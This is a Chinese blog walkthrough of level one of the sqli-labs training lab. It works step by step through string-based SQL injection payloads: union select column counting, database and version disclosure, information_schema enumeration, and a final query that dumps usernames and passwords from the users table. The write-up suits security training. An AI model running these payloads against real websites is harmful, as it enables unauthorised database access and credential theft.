Sqllab第一关通关笔记

news2025/1/15 16:31:27

知识点:

明白数值注入和字符注入的区别

  •         数值注入:通过数字运算判断,1/0 1/1
  •         字符注入:通过引号进行判断,奇数个和偶数个单引号进行识别

联合查询:union 或者 union all 

  • 需要满足字段数一致,否则报错
  • 将输入数据和查询数据进行格式整合然后输出

group_concat()

  • group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
  • []中内容为可选内容
  • distinct:去重
  • 先分组再合并,将格式分组后的字符串合并成一个长字符串;默认分隔符为逗号

concat()

  • 将多个字符串拼接成一个字符串;只是将对应字段数据按格式合并形成新的字段数据;数据有多个
  • 没有分隔符

concat_ws(分隔符,字符串)

  • 将多个字符串拼接成一个字符串;只是将对应字段数据按格式合并形成新的字段数据;数据有多个
  • 可以设定分隔符,第一个变量为分隔符数据

第一步 测试是否存在sql注入点

利用bp进行抓包测试发现存在sql注入;

构造id=2' 发现数据库报错,但是id=2'' 却不报错;这里应该存在字符型sql注入;

而且查询语句应该是 select 1,2,3 from 表名 where id = '输入信息' limit 0,1

1,2,3表示字段名;应该是2个或3个字段;

第二步 测试注入点的查询规则

既然知道了这里存在注入点下面就开始对它进行注入

构造payload:id=0'+or+1=1--+

发现只返回了一条数据;应该是输出格式限制了;只能显示一条数据

构造payload:id=0'+or+1=0--+

发现什么也没有;这说明条件为假时返回为空

第三步 测试原语句中的查询字段数

好了,整体的查询语句应该就是我上面写的那个;字段数不确定,现在测试一下查询的字段数;

构造payload:id=0'+union+select+1+--+

发现提示字段数量不对

猜测字段数量为3

构造payload:id=0'+union+select+1,2,3+--+

成功出结果了;说明原查询语句中字段数为3;而且输入信息被打印出来了;

有回显说明可以直接查询到一些关键信息,不用再bp爆破了

第四步 利用联合查询查找数据库名和版本信息

构造payload:id=0'+union+select+1,database(),version()+--+

界面显示除了数据库名字和版本信息

第五步 查询指定数据库下的表信息

接下来开始查询数据库下面有几张表

构造payload:id=0'+union+select+1,2,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'+--+

第六步 查询表中的字段信息

发现有一张表为users;这应该是用户表;存放用户的相关信息;那就找一下这张表的字段名有哪些吧

构造payload: id=0'+union+select+1,2,group_concat(column_name)+from+information_schema.columns+where+table_name='users'+--+

发现输出了一堆字段名;里面有username和password字段;这应该是比较关键的信息;

第七步 查询指定字段的数据

查询users表中的username和password的信息;

构造payload:id=0'+union+select+1,2,group_concat('*',username,':',password)+from+users+--+

用户名和密码信息都被打印出来了

10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1513817.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基础小白快速入门opencv-------C++ 在opencv的应用以及opencv的下载配置

啥是opencv? OpenCV(开源计算机视觉库 Open Source Computer Vision Library)是一个跨平台的计算机视觉库,最初由Intel开发,现在由一个跨国团队维护。它免费提供给学术和商业用途,并且是用C语言写成的&…

doit,一个非常实用的 Python 库!

更多Python学习内容:ipengtao.com 大家好,今天为大家分享一个非常实用的 Python 库 - doit。 Github地址:https://github.com/pydoit/doit 在软件开发和数据处理过程中,经常会遇到需要执行一系列任务的情况,这些任务可…

华为数通方向HCIP-DataCom H12-821题库(多选题:161-180)

第161题 以下关于IPv6优势的描述,正确的是哪些项? A、底层自身携带安全特性 B、加入了对自动配置地址的支持,能够无状态自动配置地址 C、路由表相比IPv4会更大,寻址更加精确 D、头部格式灵活,具有多个扩展头 【参考答案】ABD 【答案解析】 第162题 在OSPF视图下使用Filt…

做伦敦银要等怎样的价格与行情?

对于不同的伦敦银投资者来说,合适的入市价格和好的行情机会,标准可能并不一样,因为不同人有不同的交易策略、风险偏好和盈利目标。对于喜欢做趋势跟踪的投资者来说,一波明显而持续的上涨或下跌趋势,可能就是最好的行情…

yolov5-v6.0详细解读

yolov5-v6.0详细解读 一、yolov5版本介绍二、网络结构2.1 Backbone特征提取部分2.1.1 ConvBNSiLU模块2.1.2 C3模块2.1.2.1 BottleNeck模块 2.1.3 SPPF模块 2.2 Neck特征融合部分2.2.1 FPN2.2.2 PANet 2.3Head模块 三、目标框回归3.1 yolo标注格式3.2 yolov4目标回归框3.3 yolov…

数据结构-链表(二)

1.两两交换列表中的节点 给你一个链表,两两交换其中相邻的节点,并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题(即,只能进行节点交换)。 输入:head [1,2,3,4] 输出:[2…

框架漏洞Shiroweblogicfastjson || 免杀思路

继续来讲一下我们的框架漏洞,先讲一下Shiro 1.Shiro反序列化 1.原理 Shiro的漏洞形成呢,就是因为存在了RememberMe这样的一个字段 Shiro 框架在处理 "rememberMe" 功能时使用了不安全的反序列化方法,攻击者可以构造恶意序列化数据&#xff0…

基于YOLOv8/YOLOv7/YOLOv6/YOLOv5的危险物品检测系统(深度学习模型+PySide6界面+训练数据集+Python代码)

摘要:本文深入介绍了一个采用深度学习技术的危险物品识别系统,该系统融合了最新的YOLOv8算法,并对比了YOLOv7、YOLOv6、YOLOv5等早期版本的性能。该系统在处理图像、视频、实时视频流及批量文件时,能够准确识别和分类各种危险物品…

9、组合模式(结构性模式)

组合模式又叫部分整体模式,它创建了对象组的树形结构,将对象组合成树状结构,以一致的方式处理叶子对象以及组合对象,不以层次高低定义类,都是结点类 一、传统组合模式 举例,大学、学院、系,它们…

勾八头歌之数据科学导论—数据预处理

第1关:引言-根深之树不怯风折,泉深之水不会涸竭 第2关:数据清理-查漏补缺 import numpy as np import pandas as pd import matplotlib.pyplot as pltdef student():# Load the CSV file and replace #NAME? with NaNtrain pd.read_csv(Tas…

人工智能的幽默“失误”

人工智能迷惑行为大赏 随着ChatGPT热度的攀升,越来越多的公司也相继推出了自己的AI大模型,如文心一言、通义千问等。各大应用也开始内置AI玩法,如抖音的AI特效~在使用过程中往往会遇到一些问题,让你不得不怀疑&#x…

反向传播 — 简单解释

一、说明 关于反向传播,我有一个精雕细刻的案例计划,但是实现了一半,目前没有顾得上继续充实,就拿论文的叙述这里先起个头,我后面将修改和促进此文的表述质量。 二、生物神经元 大脑是一个由大约100亿个神经元组成的复…

HD_VG_130M数据集预处理

数据集介绍 HD_VG_130M是文生视频常用数据集,其视频来源于油管,可通过该谷歌云盘链接下载官方文件,如下所示,其中metafiles中包含20个json文件,请先将其全部下载到本地,假设保存地址为"E:/HD_VG_130M…

Android Gradle 开发与应用 (六) : 创建buildSrc插件和使用命令行创建Gradle插件

1. 前言 前文中,我们介绍了在Android中,如何基于Gradle 8.2,创建Gradle插件。这篇文章,我们以buildSrc的方式来创建Gradle插件。此外,还介绍一种用Cmd命令行的方式,来创建独立的Gradle插件的方式。 1.1 本…

开源大数据集群部署(十五)Zookeeper集群部署

作者:櫰木 1、集群规划 主机版本角色系统用户hd1.dtstack.com3.7.1followerzookeeperhd2.dtstack.com3.7.1leaderzookeeperhd3.dtstack.com3.7.1followerzookeeper 2、zookeeper kerberos主体创建 在生产中zk服务端和客户端票据可以设置成不通名称或相同名称&am…

钉钉与实在智能达成战略合作,实在Agent助力钉钉AI助理成为“新质生产力”

3月12日,浙江实在智能科技有限公司(简称“实在智能”)与钉钉(中国)信息技术有限公司(简称“钉钉”)签署战略合作协议,达成战略合作伙伴关系。 未来,基于双方创新领先的技…

普乐蛙VR航天体验馆设备VR体验带你登陆月球

周末节假日这款设备人流量chao多!景区?游乐场?电玩城爆滿,小编去了一次可是天天惦记着,学习/竞速/休闲/末日/kongbu,各种题材好过瘾! 亲测不踩雷设备推荐!华夏方舟——VR小白必玩的大…

学习Java的第九天

本章将学习什么是类的无参、带参方法又是什么 一、什么是类的无参方法 类是由一组具有相同属性和共同行为的实体抽象而来。对象执行的操作是通过编写类的方法实现的。显而易见,类的方法是一个功能模块,其作用是“做一件事情”。 1、类的方法必须包括以…

吴恩达机器学习笔记 十七 通过偏差与方差诊断性能 正则化 偏差 方差

高偏差(欠拟合):在训练集上表现得也不好 高方差(过拟合):J_cv要远大于J_train 刚刚好:J_cv和J_train都小 J_cv和J_train与拟合多项式阶数的关系 从一阶到四阶,训练集的误差越来越小…

走进AI新时代:织信低代码的实践与启示

最近 AIGC 很火,在各个领域都玩出了一些新花样。 比如在“低代码”领域,可以通过 AI 自动生成一个网站门户。 但这会带来开发效率的提升吗?如果 AI 能快速开发网站、APP等业务应用,那么 AI 生成能否完全取代低代码的可视化配置&a…